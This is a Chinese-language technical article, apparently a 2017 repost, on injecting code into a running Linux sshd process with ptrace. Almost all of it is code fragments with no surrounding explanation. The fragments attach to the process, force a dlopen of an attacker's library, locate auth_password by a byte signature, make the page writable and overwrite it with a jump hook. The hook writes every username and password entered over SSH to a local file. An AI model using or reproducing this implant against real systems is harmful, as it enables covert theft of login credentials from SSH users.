本文讲的是
在Linux下使用ptrace向sshd进程注入任意代码,
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
struct user_regs_struct oldregs; ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);
ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);
ptrace(PTRACE_POKETEXT, pid, addr, word);
struct user_regs_struct regs; memcpy(®s, &oldregs, sizeof(struct user_regs_struct)); // Update RIP to point to our injected code regs.rip = addr_of_injected_code; ptrace(PTRACE_SETREGS, pid, NULL, ®s);
ptrace(PTRACE_CONT, pid, NULL, NULL);
waitpid(pid, &status, WUNTRACED);
waitpid(pid, &status, WUNTRACED); if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("SIGTRAP receivedn"); }
ptrace(PTRACE_SETREGS, pid, NULL, &origregs);
ptrace(PTRACE_POKETEXT, pid, addr, word);
ptrace(PTRACE_DETACH, pid, NULL, NULL);
/* * Tries to authenticate the user using password. Returns true if * authentication succeeds. */ int auth_password(Authctxt *authctxt, const char *password) { ... }
unsigned long long libdlAddr, dlopenAddr; libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY); dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen"); printf("Offset: %llxn", dlopenAddr - libdlAddr);
void ptraceWrite(int pid, unsigned long long addr, void *data, int len) { long word = 0; int i = 0; for (i=0; i < len; i+=sizeof(word), word=0) { memcpy(&word, data + i, sizeof(word)); if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) { printf("[!] Error writing process memoryn"); exit(1); } } } ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.sox00", 16)
// Update RIP to point to our code, which will be just after // our injected library name string regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN; // Update RAX to point to dlopen() regs.rax = (unsigned long long)dlopenAddr; // Update RDI to point to our library name string regs.rdi = (unsigned long long)freeaddr; // Set RSI as RTLD_LAZY for the dlopen call regs.rsi = 2; // RTLD_LAZY // Update the target process registers ptrace(PTRACE_SETREGS, pid, NULL, ®s);
; RSI set as value '2' (RTLD_LAZY) ; RDI set as char* to shared library path ; RAX contains the address of dlopen call rax int 0x03
#include <stdio.h> void __attribute__((constructor)) test(void) { printf("Library loaded on dlopen()n"); }
gcc -o test.so --shared -fPIC test.c
dlopen("./test.so", RTLD_LAZY);
fd = fopen("/proc/self/maps", "r"); while(fgets(buffer, sizeof(buffer), fd)) { if (strstr(buffer, "/sshd") && strstr(buffer, "r-x")) { ptr = strtoull(buffer, NULL, 16); end = strtoull(strstr(buffer, "-")+1, NULL, 16); break; } }
const char *search = "x31xd2x48x3dx00x04x00x00"; while(ptr < end) { // ptr[0] == search[0] added to increase performance during searching // no point calling memcmp if the first byte doesn't match our signature. if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) { break; } ptr++; }
mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC)
char jmphook[] = "x48xb8x48x47x46x45x44x43x42x41xffxe0";
mov rax, 0x4142434445464748 jmp rax
*(unsigned long long *)((char*)jmphook+2) = &passwd_hook;
// Step back to the start of the function, which is 32 bytes // before our signature ptr -= 32; memcpy(ptr, jmphook, sizeof(jmphook));
// Remember the prolog: push rbp; mov rbp, rsp; // that takes place when entering this function void passwd_hook(void *arg1, char *password) { // We want to store our registers for later asm("push %rsin" "push %rdin" "push %raxn" "push %rbxn" "push %rcxn" "push %rdxn" "push %r8n" "push %r9n" "push %r10n" "push %r11n" "push %r12n" "push %rbpn" "push %rspn" ); // Our code here, is used to store the username and password char buffer[1024]; int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND); // Note: The magic offset of "arg1 + 32" contains a pointer to // the username from the passed argument. snprintf(buffer, sizeof(buffer), "Password entered: [%s] %sn", *(void **)(arg1 + 32), password); write(log, buffer, strlen(buffer)); close(log); asm("pop %rspn" "pop %rbpn" "pop %r12n" "pop %r11n" "pop %r10n" "pop %r9n" "pop %r8n" "pop %rdxn" "pop %rcxn" "pop %rbxn" "pop %raxn" "pop %rdin" "pop %rsin" ); // Recover from the function prologue asm("mov %rbp, %rspn" "pop %rbpn" ); ...
原文发布时间为:2017年4月28日
本文作者:xiaohui
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。